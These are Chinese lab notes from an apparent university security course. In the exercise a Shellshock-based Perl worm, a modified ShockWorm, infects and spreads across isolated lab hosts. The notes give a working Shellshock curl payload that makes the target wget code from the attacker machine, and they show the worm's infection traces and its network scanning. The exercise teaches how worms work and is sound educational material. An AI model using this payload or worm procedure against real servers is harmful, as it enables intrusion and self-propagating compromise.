筆記整理:基於破殼漏洞的蠕蟲實踐
實驗所屬系列:作業系統安全
實驗物件:本科/專科資訊保安專業
相關課程及專業:資訊網路安全概論
實驗時數(學分):4學時
實驗類別:實踐實驗類
預備知識破殼漏洞的原理與利用
參考實驗《破殼漏洞實踐》,連結:
https://www.hetianlab.com/expc.do?ec=ECID172.19.105.222014092915250400001
蠕蟲簡介
蠕蟲定義:一種能夠利用系統漏洞通過網路進行自我傳播的惡意程式。它不需要附著在其他程式上,而是獨立存在的。當形成規模、傳播速度過快時會極大地消耗網路資源導致大面積網路擁塞甚至癱瘓。
計算機蠕蟲與計算機病毒相似,是一種能夠自我複製的計算機程式。
與計算機病毒不同的是,計算機蠕蟲不需要附在別的程式內,可能不用使用者介入操作也能自我複製或執行。它是直接在主機之間的記憶體中進行傳播的。計算機蠕蟲未必會直接破壞被感染的系統,卻幾乎都對網路有害。計算機蠕蟲可能會執行垃圾程式碼以發動分散式阻斷服務攻擊,令計算機的執行效率極大程度降低,從而影響計算機的正常使用;可能會損毀或修改目標計算機的檔案;亦可能只是浪費頻寬。(惡意的)計算機蠕蟲可根據其目的分成2類:
一類是面對大規模計算機網路發動拒絕服務的計算機蠕蟲。
另一類是針對個人使用者的執行大量垃圾程式碼的計算機蠕蟲。
本次實驗蠕蟲簡介
本次實驗使用的蠕蟲,是根據github上名為ShockWorm的蠕蟲(專案地址:
1.原蠕蟲只感染一臺主機,本實驗蠕蟲擴大了範圍,使其真正擁有了蠕動性,可以自行傳播(限制了蠕動範圍)。
2.原蠕蟲在感染主機後會修改系統檔案,並且截獲執行sudo命令時輸入的口令。本實驗蠕蟲刪除了此功能,在感染與完成傳播之後,僅執行sleep操作。
實驗目的1)通過該實驗瞭解蠕蟲的基本特徵
2)掌握蠕蟲的傳播方式及使用方法
3)能夠改進蠕蟲的功能
實驗環境
蠕蟲發起者:centos6.5,IP地址:10.1.1.231
Worm1:centos6.5(web伺服器),1號被感染主機,IP地址:10.1.1.12
Worm2:centos6.5(web伺服器),2號被感染主機 ,IP地址10.1.1.x(x隨機)
實驗步驟一本實驗分為三個任務:
任務一:判斷10.1.1.12主機web服務的test.cgi是否存在破殼漏洞;
任務二:蠕蟲發起者執行蠕蟲程式,感染1號主機Worm1;
任務三:觀察Worm1主機蠕蟲的傳播過程,檢查Worm2主機是否被感染。
任務描述:判斷10.1.1.12主機web服務的test.cgi是否存在破殼漏洞
1.使用ssh登入蠕蟲發起者主機(10.1.1.231),執行下面三條命令。命令執行結果如下圖所示。
[root@worm-master ~]# tail /var/log/httpd/access_log
[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi
[root@worm-master ~]# tail /var/log/httpd/access_log
2.根據最後一條命令的結果,蠕蟲發起者主機(10.1.1.231)的web日誌中出現了worm1的訪問記錄,說明worm1主機(10.1.1.12)存在破殼漏洞。
實驗步驟二任務描述:蠕蟲發起者執行蠕蟲程式,感染1號主機Worm1。
1.為了避免自身被感染,向蠕蟲表明自己是發起者的身份,我們需要登入10.1.1.231主機,通過下面的命令建立一個檔案。
[root@worm-master ~]# touch /tmp/key.txt
2.繼續在10.1.1.231上執行下面的命令,可以找到蠕蟲程式。
[root@worm-master shockworm]# cd /root/shockworm/
[root@worm-master shockworm]# ls
Shellshock.pl
3.登入worm1,檢視/tmp目錄。
[root@worm-test1 tmp]# ls -al
total 12
drwxrwxrwt. 3 root root 4096 Jun 25 03:25 .
dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..
drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix
-rw-------. 1 root root 0 Jan 9 2014 yum.log
4.繼續返回10.1.1.231主機,執行下面的命令,來執行蠕蟲程式。
[root@worm-master shockworm]# perl shellshock.pl
local ip is 10.1.1.231
targetIP is 10.1.1.12...
Done!
[root@worm-master shockworm]#
5.登入Worm1,執行下面的命令,觀察被感染的特徵。
[root@worm-test1 tmp]# ls -al
total 16
drwxrwxrwt. 4 root root 4096 Jun 25 13:52 .
dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..
drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix
drwxr-xrwx. 2 apache apache 4096 Jun 25 13:52 .ssh-mOTc45gfXwPj
-rw-------. 1 root root 0 Jan 9 2014 yum.log
[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/
agent.1336 agent.1337
[root@worm-test1 tmp]# ps aux | grep agent.1337
apache 1827 0.0 0.8 33884 4420 ? S Jun24 0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337
root 3512 0.0 0.1 103244 864 pts/1 S+ 13:56 0:00 grep agent.1337
通過檢視/tmp目錄可以發現,Worm1已經被感染了shockworm蠕蟲程式,如下圖。(未感染時沒有第四行)
實驗步驟三1.登入Worm1(10.1.1.12),不斷的執行命令:“ps aux |grep curl”可以看到蠕蟲的傳播過程,被感染的Worm1通過agent.1337程序,不斷的向同網段的其他主機發起攻擊與感染。如下所示:
[root@worm-test1 tmp]# ps aux | grep curl
apache 3741 0.0 0.2 11300 1280 ? S 14:03 0:00 sh -c curl http://10.1.1.16/test.cgi 2>/dev/null | grep Hi | wc -l
apache 3742 0.0 0.6 73992 3072 ? S 14:03 0:00 curl http://10.1.1.16/test.cgi
root 3752 0.0 0.1 103244 852 pts/1 S+ 14:03 0:00 grep curl
[root@worm-test1 tmp]# ps aux | grep curl
apache 3753 0.0 0.2 11300 1276 ? S 14:03 0:00 sh -c curl http://10.1.1.17/test.cgi 2>/dev/null | grep Hi | wc -l
apache 3754 0.0 0.6 73992 3076 ? S 14:03 0:00 curl http://10.1.1.17/test.cgi
root 3758 0.0 0.1 103244 856 pts/1 S+ 14:03 0:00 grep curl
從上面命令的執行結果,可以看出,蠕蟲正在攻擊10.1.1.16和10.1.1.17。
2.經過一段時間之後(大約10分鐘),登入Worm2。同樣使用命令:”ls -al /tmp”檢視,可以發現主機也被此蠕蟲感染。(未感染時沒有第四行)
15:27分tmp目錄下產生了感染檔案。